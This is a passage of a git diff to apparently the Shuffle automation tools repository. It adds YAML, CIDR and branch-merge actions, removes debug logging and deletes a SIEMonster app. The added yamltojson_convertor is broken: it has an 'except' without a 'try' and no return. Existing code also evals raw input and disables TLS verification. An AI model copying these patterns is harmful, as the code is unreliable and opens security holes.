len(str(source_auth)) > 0: - params["source_auth"] = source_auth - else: - print("No source auth") - - if len(str(source_node)) > 0: - params["source_node"] = source_node - else: - print("No source node") - - if len(str(source_execution)) > 0: - params["source_execution"] = source_execution - else: - print("No source execution") - - if len(str(startnode)) > 0: - params["start"] = startnode - else: - print("No startnode") - - if len(self.full_execution["execution_id"]) > 0 and self.full_execution["execution_id"] != source_execution: - params["source_execution"] = self.full_execution["execution_id"] - - if len(self.full_execution["authorization"]) > 0 and self.full_execution["authorization"] != source_auth: - params["source_auth"] = self.full_execution["authorization"] - - if len(str(backend_url)) > 0: - url = "%s/api/v1/workflows/%s/execute" % (backend_url, workflow) - print("[INFO] Changed URL to %s for this execution" % url) - - headers = { - "Authorization": "Bearer %s" % user_apikey, - "User-Agent": "Shuffle Subflow 1.1.0" - } - - if len(str(argument)) == 0: - ret = requests.post(url, headers=headers, params=params, verify=False, proxies=self.proxy_config) - else: - if not isinstance(argument, list) and not isinstance(argument, dict): - try: - argument = json.loads(argument) - except: - pass - - #print(f"ARG: {argument}") - try: - ret = requests.post(url, headers=headers, params=params, json=argument, verify=False, proxies=self.proxy_config) - print(f"Successfully sent argument of length {len(str(argument))} as JSON") - except: - try: - ret = requests.post(url, headers=headers, json=argument, params=params, verify=False, proxies=self.proxy_config) - print("Successfully sent as JSON (2)") - except: - ret = requests.post(url, headers=headers, data=argument, params=params, verify=False, proxies=self.proxy_config) - print("Successfully sent as data (3)") - - print("Status: %d" % ret.status_code) - print("RET: %s" % ret.text) - - return ret.text - -if __name__ == "__main__": - Subflow.run() diff --git a/shuffle-tools/1.2.0/api.yaml b/shuffle-tools/1.2.0/api.yaml index cfa1a55b..812fe278 100644 --- a/shuffle-tools/1.2.0/api.yaml +++ b/shuffle-tools/1.2.0/api.yaml @@ -1,7 +1,7 @@ --- app_version: 1.2.0 name: Shuffle Tools -description: A tool app for Shuffle. Gives access to most missing features along with Liquid. +description: A tool app for Shuffle. Gives access to most missing features along with Liquid. tags: - Testing - Shuffle @@ -595,6 +595,16 @@ actions: returns: schema: type: string + - name: yamltojson_convertor + description: Converts yaml to json + parameters: + - name: data + description: + required: true + multiline: false + example: 'yaml data' + schema: + type: string - name: date_to_epoch description: 'Converts a date field in a JSON blob to epoch format. Same as {{ "now" | date: "%s" }} in Liquid.' parameters: @@ -955,6 +965,19 @@ actions: returns: schema: type: string + - name: list_cidr_ips + description: Lists the IPs for a CIDR + parameters: + - name: cidr + description: IP CIDR to check + multiline: false + example: "1.1.1.0/24" + required: True + schema: + type: string + returns: + schema: + type: string - name: cidr_ip_match description: Check if an IP is contained in a CIDR defined network parameters: @@ -1081,6 +1104,18 @@ actions: - false schema: type: string + - name: merge_incoming_branches + description: 'Merges the data of incoming branches. Uses the input type to determine how to merge the data, and removes duplicates' + parameters: + - name: input_type + description: What type to use + required: false + multiline: false + example: 'list' + options: + - list + schema: + type: string - name: run_ssh_command description: 'Run a command on remote machine with SSH' parameters: diff --git a/shuffle-tools/1.2.0/src/.app.py.swn b/shuffle-tools/1.2.0/src/.app.py.swn deleted file mode 100644 index 2467325c..00000000 Binary files a/shuffle-tools/1.2.0/src/.app.py.swn and /dev/null differ diff --git a/shuffle-tools/1.2.0/src/app.py b/shuffle-tools/1.2.0/src/app.py index d94f2bcf..9ca58695 100644 --- a/shuffle-tools/1.2.0/src/app.py +++ b/shuffle-tools/1.2.0/src/app.py @@ -20,6 +20,9 @@ from json2xml import json2xml from json2xml.utils import readfromstring +import yaml +from yaml import SafeLoader + from ioc_finder import find_iocs from dateutil.parser import parse as dateutil_parser from google.auth import crypt @@ -111,7 +114,6 @@ def base64_conversion(self, string, operation): except Exception as e: #return string.decode("utf-16") - self.logger.info(f"[WARNING] Error in normal decoding: {e}") return { "success": False, "reason": f"Error decoding the base64: {e}", @@ -121,7 +123,6 @@ def base64_conversion(self, string, operation): # if str(newvar).startswith("b'") and str(newvar).endswith("'"): # newvar = newvar[2:-1] #except Exception as e: - # self.logger.info(f"Encoding issue in base64: {e}") #return newvar #try: @@ -200,7 +201,7 @@ def send_email_shuffle(self, apikey, recipients, subject, body, attachments=""): data["attachments"] = files except Exception as e: - self.logger.info(f"Error in attachment parsing for email: {e}") + pass url = "https://shuffler.io/api/v1/functions/sendmail" @@ -303,7 +304,6 @@ def get_length(self, item): return str(len(item)) def set_json_key(self, json_object, key, value): - self.logger.info(f"OBJ: {json_object}\nKEY: {key}\nVAL: {value}") if isinstance(json_object, str): try: json_object = json.loads(json_object) @@ -350,7 +350,6 @@ def set_json_key(self, json_object, key, value): buildstring += f"[\"{subkey}\"]" buildstring += f" = {value}" - self.logger.info("BUILD: %s" % buildstring) #output = exec(buildstring) @@ -434,7 +433,6 @@ def regex_capture_group(self, input_data, regex): } matches = re.findall(regex, input_data) - self.logger.info(f"{matches}") found = False for item in matches: if isinstance(item, str): @@ -467,19 +465,12 @@ def regex_replace( self, input_data, regex, replace_string="", ignore_case="False" ): - #self.logger.info("=" * 80) - #self.logger.info(f"Regex: {regex}") - #self.logger.info(f"replace_string: {replace_string}") - #self.logger.info("=" * 80) - if ignore_case.lower().strip() == "true": return re.sub(regex, replace_string, input_data, flags=re.IGNORECASE) else: return re.sub(regex, replace_string, input_data) def execute_python(self, code): - self.logger.info(f"Python code {len(code)}. If uuid, we'll try to download and use the file.") - if len(code) == 36 and "-" in code: filedata = self.get_file(code) if filedata["success"] == False: @@ -523,7 +514,6 @@ def custom_print(*args, **kwargs): #try: # s = s.encode("utf-8") #except Exception as e: - # self.logger.info(f"Failed utf-8 encoding response: {e}") try: return { @@ -559,7 +549,6 @@ def execute_bash(self, code, shuffle_input): stdout = process.communicate() item = "" if len(stdout[0]) > 0: - self.logger.info("[DEBUG] Succesfully ran bash!") item = stdout[0] else: self.logger.info(f"[ERROR] FAILED to run bash command {code}!") @@ -588,7 +577,6 @@ def check_wildcard(self, wildcardstring, matching_string): return False def filter_list(self, input_list, field, check, value, opposite): - self.logger.info(f"\nRunning function with list {input_list}") # Remove hashtags on the fly # E.g. #.fieldname or .#.fieldname @@ -621,7 +609,6 @@ def filter_list(self, input_list, field, check, value, opposite): if str(value).lower() == "null" or str(value).lower() == "none": value = "none" - self.logger.info(f"\nRunning with check \"%s\" on list of length %d\n" % (check, len(input_list))) found_items = [] new_list = [] failed_list = [] @@ -642,10 +629,8 @@ def filter_list(self, input_list, field, check, value, opposite): try: tmp = json.dumps(tmp) except json.decoder.JSONDecodeError as e: - self.logger.info("FAILED DECODING: %s" % e) pass - #self.logger.info("PRE CHECKS FOR TMP: %") # EQUALS JUST FOR STR if check == "equals": @@ -653,15 +638,12 @@ def filter_list(self, input_list, field, check, value, opposite): # value = tmp.lower() if str(tmp).lower() == str(value).lower(): - self.logger.info("APPENDED BECAUSE %s %s %s" % (field, check, value)) new_list.append(item) else: failed_list.append(item) elif check == "equals any of": - self.logger.info("Inside equals any of") checklist = value.split(",") - self.logger.info("Checklist and tmp: %s - %s" % (checklist, tmp)) found = False for subcheck in checklist: subcheck = str(subcheck).strip() @@ -684,8 +666,6 @@ def filter_list(self, input_list, field, check, value, opposite): new_list.append(item) found = True break - else: - print("Nothing matching") if not found: failed_list.append(item) @@ -734,7 +714,6 @@ def filter_list(self, input_list, field, check, value, opposite): elif check == "contains any of": value = self.parse_list_internal(value) checklist = value.split(",") - self.logger.info("CHECKLIST: %s. Value: %s" % (checklist, tmp)) found = False for checker in checklist: if str(checker).lower() in str(tmp).lower() or self.check_wildcard(checker, tmp): @@ -747,7 +726,6 @@ def filter_list(self, input_list, field, check, value, opposite): # CONTAINS FIND FOR LIST AND IN FOR STR elif check == "field is unique": - #self.logger.info("FOUND: %s" if tmp.lower() not in found_items: new_list.append(item) found_items.append(tmp.lower()) @@ -763,13 +741,12 @@ def filter_list(self, input_list, field, check, value, opposite): new_list.append(item) list_set = True except AttributeError as e: - self.logger.info("FAILED CHECKING LARGER THAN: %s" % e) pass try: value = len(json.loads(value)) except Exception as e: - self.logger.info(f"[WARNING] Failed to convert destination to list: {e}") + pass try: # Check if it's a list in autocast and if so, check the length @@ -777,7 +754,7 @@ def filter_list(self, input_list, field, check, value, opposite): new_list.append(item) list_set = True except Exception as e: - self.logger.info(f"[WARNING] Failed to check if larger than as list: {e}") + pass if not list_set: failed_list.append(item) @@ -795,13 +772,12 @@ def filter_list(self, input_list, field, check, value, opposite): new_list.append(item) list_set = True except AttributeError as e: - self.logger.info("FAILED CHECKING LARGER THAN: %s" % e) pass try: value = len(json.loads(value)) except Exception as e: - self.logger.info(f"[WARNING] Failed to convert destination to list: {e}") + pass try: # Check if it's a list in autocast and if so, check the length @@ -809,7 +785,7 @@ def filter_list(self, input_list, field, check, value, opposite): new_list.append(item) list_set = True except Exception as e: - self.logger.info(f"[WARNING] Failed to check if larger than as list: {e}") + pass if not list_set: failed_list.append(item) @@ -861,7 +837,6 @@ def filter_list(self, input_list, field, check, value, opposite): failed_list.append(item) except Exception as e: - self.logger.info("[WARNING] FAILED WITH EXCEPTION: %s" % e) failed_list.append(item) # return @@ -956,7 +931,6 @@ def get_file_meta(self, file_id): headers=headers, verify=False, ) - self.logger.info(f"RET: {ret}") return ret.text @@ -965,7 +939,6 @@ def delete_file(self, file_id): headers = { "Authorization": "Bearer %s" % self.authorization, } - self.logger.info("HEADERS: %s" % headers) ret = requests.delete( "%s/api/v1/files/%s?execution_id=%s" @@ -976,8 +949,6 @@ def delete_file(self, file_id): return ret.text def create_file(self, filename, data): - self.logger.info("Inside function") - try: if str(data).startswith("b'") and str(data).endswith("'"): data = data[2:-1] @@ -1013,9 +984,17 @@ def list_file_category_ids(self, file_category): def get_file_value(self, filedata): filedata = self.get_file(filedata) if filedata is None: - return "File is empty?" + return { + "success": False, + "reason": "File not found", + } + + if "data" not in filedata: + return { + "success": False, + "reason": "File content not found. File might be empty or not exist", + } - self.logger.info("INSIDE APP DATA: %s" % filedata) try: return filedata["data"].decode() except: @@ -1031,6 +1010,7 @@ def get_file_value(self, filedata): return { "success": False, "reason": "Got the file, but the encoding can't be printed", + "size": len(filedata["data"]), } def download_remote_file(self, url, custom_filename=""): @@ -1066,7 +1046,6 @@ def extract_archive(self, file_id, fileformat="zip", password=None): item = self.get_file(file_id) return_ids = None - self.logger.info("Working with fileformat %s" % fileformat) with tempfile.TemporaryDirectory() as tmpdirname: # Get archive and save phisically @@ -1078,13 +1057,10 @@ def extract_archive(self, file_id, fileformat="zip", password=None): # Zipfile for zipped archive if fileformat.strip().lower() == "zip": try: - self.logger.info("Starting zip extraction") with zipfile.ZipFile(os.path.join(tmpdirname, "archive")) as z_file: if password: - self.logger.info("In zip extraction with password") z_file.setpassword(bytes(password.encode())) - self.logger.info("Past zip extraction") for member in z_file.namelist(): filename = os.path.basename(member) if not filename: @@ -1218,10 +1194,8 @@ def extract_archive(self, file_id, fileformat="zip", password=None): else: return "No such format: %s" % fileformat - self.logger.info("Breaking as this only handles one archive at a time.") if len(to_be_uploaded) > 0: return_ids = self.set_files(to_be_uploaded) - self.logger.info(f"Got return ids from files: {return_ids}") for i in range(len(return_ids)): return_data["archive_id"] = file_id @@ -1241,7 +1215,6 @@ def extract_archive(self, file_id, fileformat="zip", password=None): } ) else: - self.logger.info(f"No file ids to upload.") return_data["success"] = False return_data["files"].append( { @@ -1275,7 +1248,6 @@ def create_archive(self, file_ids, fileformat, name, password=None): "reason": "Make sure to send valid file ids. Example: file_13eea837-c56a-4d52-a067-e673c7186483,file_13eea837-c56a-4d52-a067-e673c7186484", } - self.logger.info("picking {}".format(file_ids)) # GET all items from shuffle items = [self.get_file(file_id) for file_id in file_ids] @@ -1285,14 +1257,12 @@ def create_archive(self, file_ids, fileformat, name, password=None): # Dump files on disk, because libs want path :( with tempfile.TemporaryDirectory() as tmpdir: paths = [] - self.logger.info("Number 1") for item in items: with open(os.path.join(tmpdir, item["filename"]), "wb") as f: f.write(item["data"]) paths.append(os.path.join(tmpdir, item["filename"])) # Create archive temporary - self.logger.info("{} items to inflate".format(len(items))) with tempfile.NamedTemporaryFile() as archive: if fileformat == "zip": @@ -1338,7 +1308,6 @@ def add_list_to_list(self, list_one, list_two): try: list_one = json.loads(list_one) except json.decoder.JSONDecodeError as e: - self.logger.info("Failed to parse list1 as json: %s" % e) if list_one == None: list_one = [] else: @@ -1354,7 +1323,6 @@ def add_list_to_list(self, list_one, list_two): try: list_two = json.loads(list_two) except json.decoder.JSONDecodeError as e: - self.logger.info("Failed to parse list2 as json: %s" % e) if list_one == None: list_one = [] else: @@ -1378,7 +1346,6 @@ def diff_lists(self, list_one, list_two): try: list_one = json.loads(list_one) except json.decoder.JSONDecodeError as e: - self.logger.info("Failed to parse list1 as json: %s" % e) return { "success": False, "reason": "list_one is not a valid list." @@ -1388,7 +1355,6 @@ def diff_lists(self, list_one, list_two): try: list_two = json.loads(list_two) except json.decoder.JSONDecodeError as e: - self.logger.info("Failed to parse list2 as json: %s" % e) return { "success": False, "reason": "list_two is not a valid list." @@ -1435,13 +1401,13 @@ def merge_lists(self, list_one, list_two, set_field="", sort_key_list_one="", so try: list_one = json.loads(list_one) except json.decoder.JSONDecodeError as e: - self.logger.info("Failed to parse list1 as json: %s" % e) + pass if isinstance(list_two, str): try: list_two = json.loads(list_two) except json.decoder.JSONDecodeError as e: - self.logger.info("Failed to parse list2 as json: %s" % e) + pass if not isinstance(list_one, list) or not isinstance(list_two, list): if isinstance(list_one, dict) and isinstance(list_two, dict): @@ -1456,19 +1422,15 @@ def merge_lists(self, list_one, list_two, set_field="", sort_key_list_one="", so return {"success": False, "message": "Lists length must be the same. %d vs %d" % (len(list_one), len(list_two))} if len(sort_key_list_one) > 0: - self.logger.info("Sort 1 %s by key: %s" % (list_one, sort_key_list_one)) try: list_one = sorted(list_one, key=lambda k: k.get(sort_key_list_one), reverse=True) except: - self.logger.info("Failed to sort list one") pass if len(sort_key_list_two) > 0: - #self.logger.info("Sort 2 %s by key: %s" % (list_two, sort_key_list_two)) try: list_two = sorted(list_two, key=lambda k: k.get(sort_key_list_two), reverse=True) except: - self.logger.info("Failed to sort list one") pass # Loops for each item in sub array and merges items together @@ -1476,16 +1438,13 @@ def merge_lists(self, list_one, list_two, set_field="", sort_key_list_one="", so base_key = "shuffle_auto_merge" try: for i in range(len(list_one)): - #self.logger.info(list_two[i]) if isinstance(list_two[i], dict): for key, value in list_two[i].items(): list_one[i][key] = value elif isinstance(list_two[i], str) and list_two[i] == "": continue elif isinstance(list_two[i], str) or isinstance(list_two[i], int) or isinstance(list_two[i], bool): - self.logger.info("IN SETTER FOR %s" % list_two[i]) if len(set_field) == 0: - self.logger.info("Define a JSON key to set for List two (Set Field)") list_one[i][base_key] = list_two[i] else: set_field = set_field.replace(" ", "_", -1) @@ -1533,12 +1492,12 @@ def fix_json(self, json_data): del json_data[key] except Exception as e: - print("[DEBUG] Problem in JSON (fix_json): %s" % e) + pass return json_data def xml_json_convertor(self, convertto, data): - if isinstance(data, dict) or isinstance(data, list): + if isinstance(data, dict): try: data = json.dumps(data) except: @@ -1562,14 +1521,18 @@ def xml_json_convertor(self, convertto, data): "reason": f"{e}" } + def yamltojson_convertor(self, data): + dict=yaml.load(data, Loader=SafeLoader) + json_data=json.dumps(dict) + + except Exception as e: + return { + "success": False, + "input": data, + "reason": f"{e}" + } + def date_to_epoch(self, input_data, date_field, date_format): - - self.logger.info( - "Executing with {} on {} with format {}".format( - input_data, date_field, date_format - ) - ) - if isinstance(input_data, str): result = json.loads(input_data) else: @@ -1587,8 +1550,6 @@ def compare_relative_date( ): if timestamp== "None": return False - - print("Converting input date.") if date_format == "autodetect": input_dt = dateutil_parser(timestamp).replace(tzinfo=None) @@ -1632,12 +1593,7 @@ def compare_relative_date( comparison_dt = formatted_dt + delta #comparison_dt = datetime.datetime.utcnow() - print("{} {} {} is {}. Delta: {}".format(offset, units, direction, comparison_dt, delta)) - diff = int((input_dt - comparison_dt).total_seconds()) - print( - "\nDifference between {} and {} is {} seconds ({} days)\n".format(timestamp, comparison_dt, diff, int(diff/86400)) - ) if units == "seconds": diff = diff @@ -1675,19 +1631,6 @@ def compare_relative_date( if direction == "ahead" and diff != 0: result = not (result) - print( - "At {}, is {} {} to {} {} {}? {}. Diff {}".format( - formatted_dt, - timestamp, - equality_test, - offset, - units, - direction, - result, - diff, - ) - ) - parsed_string = "%s %s %s %s" % (equality_test, offset, units, direction) newdiff = diff if newdiff < 0: @@ -1705,7 +1648,6 @@ def compare_relative_date( def run_math_operation(self, operation): - self.logger.info("Operation: %s" % operation) result = eval(operation) return result @@ -1716,8 +1658,6 @@ def escape_html(self, input_data): else: mapping = input_data - self.logger.info(f"Got mapping {json.dumps(mapping, indent=2)}") - result = markupsafe.escape(mapping) return mapping @@ -1733,11 +1673,25 @@ def check_cache_contains(self, key, value, append): "key": key, } + allvalues = {} + try: + for item in self.local_storage: + if item["execution_id"] == self.current_execution_id and item["key"] == key: + # Max keeping the local cache properly for 5 seconds due to workflow continuations + elapsed_time = time.time() - item["time_set"] + if elapsed_time > 5: + break + + allvalues = item["data"] + + except Exception as e: + print("[ERROR] Failed cache contains for current execution id local storage: %s" % e) + if isinstance(value, dict) or isinstance(value, list): try: value = json.dumps(value) except Exception as e: - self.logger.info(f"[WARNING] Error in JSON dumping (cache contains): {e}") + pass if not isinstance(value, str): value = str(value) @@ -1749,9 +1703,13 @@ def check_cache_contains(self, key, value, append): else: append = False - get_response = requests.post(url, json=data, verify=False) + if "success" not in allvalues: + get_response = requests.post(url, json=data, verify=False) + try: - allvalues = get_response.json() + if "success" not in allvalues: + allvalues = get_response.json() + try: if allvalues["value"] == None or allvalues["value"] == "null": allvalues["value"] = "[]" @@ -1770,6 +1728,7 @@ def check_cache_contains(self, key, value, append): #allvalues["key"] = key #return allvalues + return { "success": True, "found": False, @@ -1804,16 +1763,21 @@ def check_cache_contains(self, key, value, append): except json.decoder.JSONDecodeError as e: parsedvalue = [str(allvalues["value"])] except Exception as e: - print("Error parsing JSON - overriding: %s" % e) parsedvalue = [str(allvalues["value"])] - print("In ELSE2: '%s'" % parsedvalue) - try: for item in parsedvalue: #return "%s %s" % (item, value) if item == value: if not append: + try: + newdata = json.loads(json.dumps(data)) + newdata["time_set"] = time.time() + newdata["data"] = allvalues + self.local_storage.append(newdata) + except Exception as e: + print("[ERROR] Failed in local storage append: %s" % e) + return { "success": True, "found": True, @@ -1835,7 +1799,6 @@ def check_cache_contains(self, key, value, append): # Lol break except Exception as e: - print("Error in check_cache_contains: %s" % e) parsedvalue = [str(parsedvalue)] append = True @@ -1882,13 +1845,11 @@ def check_cache_contains(self, key, value, append): "search": value, "key": key } - - self.logger.info("Handle all values!") #return allvalues except Exception as e: - print("[ERROR] Failed to handle cache contains: %s" % e) + print("[ERROR] Failed check cache contains: %s" % e) return { "success": False, "key": key, @@ -1908,7 +1869,6 @@ def check_cache_contains(self, key, value, append): ## subkey = "hi", value = "test3", overwrite=False ## {"subkey": "hi", "value": ["test2", "test3"]} - #def set_cache_value(self, key, value): def change_cache_subkey(self, key, subkey, value, overwrite): org_id = self.full_execution["workflow"]["execution_org"]["id"] url = "%s/api/v1/orgs/%s/set_cache" % (self.url, org_id) @@ -1918,6 +1878,7 @@ def change_cache_subkey(self, key, subkey, value, overwrite): value = json.dumps(value) except Exception as e: self.logger.info(f"[WARNING] Error in JSON dumping (set cache): {e}") + elif not isinstance(value, str): value = str(value) @@ -1967,9 +1928,7 @@ def get_cache_value(self, key): value = requests.post(url, json=data, verify=False) try: allvalues = value.json() - #self.logger.info("VAL1: ", allvalues) allvalues["key"] = key - #self.logger.info("VAL2: ", allvalues) if allvalues["success"] == True and len(allvalues["value"]) > 0: allvalues["found"] = True @@ -1982,7 +1941,6 @@ def get_cache_value(self, key): allvalues["value"] = parsedvalue except: - self.logger.info("Parsing of value as JSON failed") pass return json.dumps(allvalues) @@ -1990,7 +1948,6 @@ def get_cache_value(self, key): self.logger.info("Value couldn't be parsed, or json dump of value failed") return value.text - # FIXME: Add option for org only & sensitive data (not to be listed) def set_cache_value(self, key, value): org_id = self.full_execution["workflow"]["execution_org"]["id"] url = "%s/api/v1/orgs/%s/set_cache" % (self.url, org_id) @@ -2053,7 +2010,6 @@ def convert_json_to_tags(self, json_object, split_value=", ", include_key=True, parsedstring = [] try: for key, value in json_object.items(): - self.logger.info("KV: %s:%s" % (key, value)) if isinstance(value, str) or isinstance(value, int) or isinstance(value, bool): if include_key == True: parsedstring.append("%s:%s" % (key, value)) @@ -2074,15 +2030,11 @@ def convert_json_to_tags(self, json_object, split_value=", ", include_key=True, return fullstring def cidr_ip_match(self, ip, networks): - self.logger.info("Executing with\nIP: {},\nNetworks: {}".format(ip, networks)) if isinstance(networks, str): try: networks = json.loads(networks) except json.decoder.JSONDecodeError as e: - self.logger.info("Failed to parse networks list as json: {}. Type: {}".format( - e, type(networks) - )) return { "success": False, "reason": "Networks is not a valid list: {}".format(networks), @@ -2090,7 +2042,7 @@ def cidr_ip_match(self, ip, networks): try: ip_networks = list(map(ipaddress.ip_network, networks)) - ip_address = ipaddress.ip_address(ip) + ip_address = ipaddress.ip_address(ip, False) except ValueError as e: return "IP or some networks are not in valid format.\nError: {}".format(e) @@ -2106,7 +2058,7 @@ def cidr_ip_match(self, ip, networks): def get_timestamp(self, time_format): timestamp = int(time.time()) if time_format == "unix" or time_format == "epoch": - self.logger.info("Running default timestamp %s" % timestamp) + pass return timestamp @@ -2117,12 +2069,12 @@ def get_hash_sum(self, value): try: md5_value = hashlib.md5(str(value).encode('utf-8')).hexdigest() except Exception as e: - self.logger.info(f"Error in md5sum: {e}") + pass try: sha256_value = hashlib.sha256(str(value).encode('utf-8')).hexdigest() except Exception as e: - self.logger.info(f"Error in sha256: {e}") + pass parsedvalue = { "success": True, @@ -2197,7 +2149,6 @@ def get_jwt(sa_keyfile, #signer = crypt.RSASigner.from_service_account_file(sa_keyfile) signer = crypt.RSASigner.from_string(sa_keyfile) jwt_token = jwt.encode(signer, payload) - # print(jwt_token.decode('utf-8')) return jwt_token @@ -2435,7 +2386,6 @@ def run_ssh_command(self, host, port, user_name, private_key_file_id, password, except Exception as e: return {"success":"false","message":str(e)} else: - #print("AUTH WITH PASSWORD") try: ssh_client.connect(hostname=host,username=user_name,port=port, password=str(password)) except Exception as e: @@ -2461,7 +2411,7 @@ def parse_ioc(self, input_string, input_type="all"): ioc_types = input_type - iocs = find_iocs(input_string, included_ioc_types=ioc_types) + iocs = find_iocs(str(input_string), included_ioc_types=ioc_types) newarray = [] for key, value in iocs.items(): if input_type != "all": @@ -2494,7 +2444,7 @@ def parse_ioc(self, input_string, input_type="all"): try: item["is_private_ip"] = ipaddress.ip_address(item["data"]).is_private except: - self.logger.info("Error parsing %s" % item["data"]) + pass try: newarray = json.dumps(newarray) @@ -2540,14 +2490,10 @@ def _format_result(self, result): for i in val: final_result[key].append(i) elif isinstance(val, dict): - #print(key,":::",val) if key in final_result: if isinstance(val, dict): for k,v in val.items(): - #print("k:",k,"v:",v) val[k].append(v) - #print(val) - #final_result[key].append([i for i in val if len(val) > 0]) else: final_result[key] = val @@ -2560,7 +2506,6 @@ def _with_concurency(self, array_of_strings, ioc_types): # Workers dont matter..? # What can we use instead? - print("Strings:", len(array_of_strings)) workers = 4 with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: @@ -2577,7 +2522,6 @@ def _with_concurency(self, array_of_strings, ioc_types): # Retrieve the results if needed results = [future.result() for future in futures] - #print("Total time taken:", time.perf_counter()-start) return self._format_result(results) # FIXME: Make this good and actually faster than normal @@ -2646,7 +2590,7 @@ def parse_ioc_new(self, input_string, input_type="all"): try: newarray[i]["is_private_ip"] = ipaddress.ip_address(item["data"]).is_private except Exception as e: - print("Error parsing %s: %s" % (item["data"], e)) + pass try: newarray = json.dumps(newarray) @@ -2654,6 +2598,107 @@ def parse_ioc_new(self, input_string, input_type="all"): return "Failed to parse IOC's: %s" % e return newarray + + def merge_incoming_branches(self, input_type="list"): + wf = self.full_execution["workflow"] + if "branches" not in wf or not wf["branches"]: + return { + "success": False, + "reason": "No branches found" + } + + if "results" not in self.full_execution or not self.full_execution["results"]: + return { + "success": False, + "reason": "No results for previous actions not found" + } + + if not input_type: + input_type = "list" + + branches = wf["branches"] + cur_action = self.action + #print("Found %d branches" % len(branches)) + + results = [] + for branch in branches: + if branch["destination_id"] != cur_action["id"]: + continue + + # Find result for the source + source_id = branch["source_id"] + + for res in self.full_execution["results"]: + if res["action"]["id"] != source_id: + continue + + try: + parsed = json.loads(res["result"]) + results.append(parsed) + except Exception as e: + results.append(res["result"]) + + break + + if input_type == "list": + newlist = [] + for item in results: + if not isinstance(item, list): + continue + + for subitem in item: + if subitem in newlist: + continue + + newlist.append(subitem) + #newlist.append(item) + + results = newlist + else: + return { + "success": False, + "reason": "No results from source branches with type %s" % input_type + } + + return results + + def list_cidr_ips(self, cidr): + defaultreturn = { + "success": False, + "reason": "Invalid CIDR address" + } + + if not cidr: + return defaultreturn + + if "/" not in cidr: + defaultreturn["reason"] = "CIDR address must contain / (e.g. /12)" + return defaultreturn + + try: + cidrnumber = int(cidr.split("/")[1]) + except ValueError as e: + defaultreturn["exception"] = str(e) + return defaultreturn + + if cidrnumber < 12: + defaultreturn["reason"] = "CIDR address too large. Please stay above /12" + return defaultreturn + + try: + net = ipaddress.ip_network(cidr) + except ValueError as e: + defaultreturn["exception"] = str(e) + return defaultreturn + + ips = [str(ip) for ip in net] + returnvalue = { + "success": True, + "amount": len(ips), + "ips": ips + } + + return returnvalue if __name__ == "__main__": diff --git a/siemonster/1.0.0/Dockerfile b/siemonster/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/siemonster/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/siemonster/1.0.0/api.yaml b/siemonster/1.0.0/api.yaml deleted file mode 100644 index 39fc4261..00000000 --- a/siemonster/1.0.0/api.yaml +++ /dev/null @@ -1,82 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: siemonster -description: SIEMonster App -tags: - - SIEM - - Search -categories: - - SIEM - - Search -contact_info: - name: SIEMonster Team - url: https://siemonster.com/ - email: jim@siemonster.com - -authentication: - required: true - parameters: - - name: username - description: The Elasticsearch username - example: "admin" - required: true - schema: - type: string - - name: password - description: The Elasticsearch password - example: "*****" - required: true - schema: - type: string - - name: url - description: The Elasticsearch URL - example: "http://es-master:9200" - required: true - schema: - type: string - -actions: - - name: ping - description: Returns Greetings from the APP. Is used to make sure, that APP works. - returns: - schema: - type: string - example: SIEMonster welcomes from %hostname% - - - name: es_get_cluster_health - description: Sends request to ES API and returns JSON-response - returns: - schema: - type: string - example: '{"cluster_name": "siemonster","status": "green","timed_out": false,"number_of_nodes": 1,"number_of_data_nodes": 1,"active_primary_shards": 66,"active_shards": 66,"relocating_shards": 0,"initializing_shards": 0,"unassigned_shards": 0,"delayed_unassigned_shards": 0,"number_of_pending_tasks": 0,"number_of_in_flight_fetch": 0,"task_max_waiting_in_queue_millis": 0,"active_shards_percent_as_number": 100}' - - - name: es_query - description: Performs query to ES API and returns JSON-response - parameters: - - name: method - description: Method to use (GET/POST/DELETE/HEAD/PUT) - multiline: false - example: "GET" - required: true - schema: - type: string - - name: path - description: Location pathname - multiline: false - example: "/" - required: true - schema: - type: string - - name: body - description: JSON-body to send - multiline: false - example: "{}" - required: false - schema: - type: string - returns: - schema: - type: string - example: '{"cluster_name":"siemonster","status":"green"}' - -large_image: 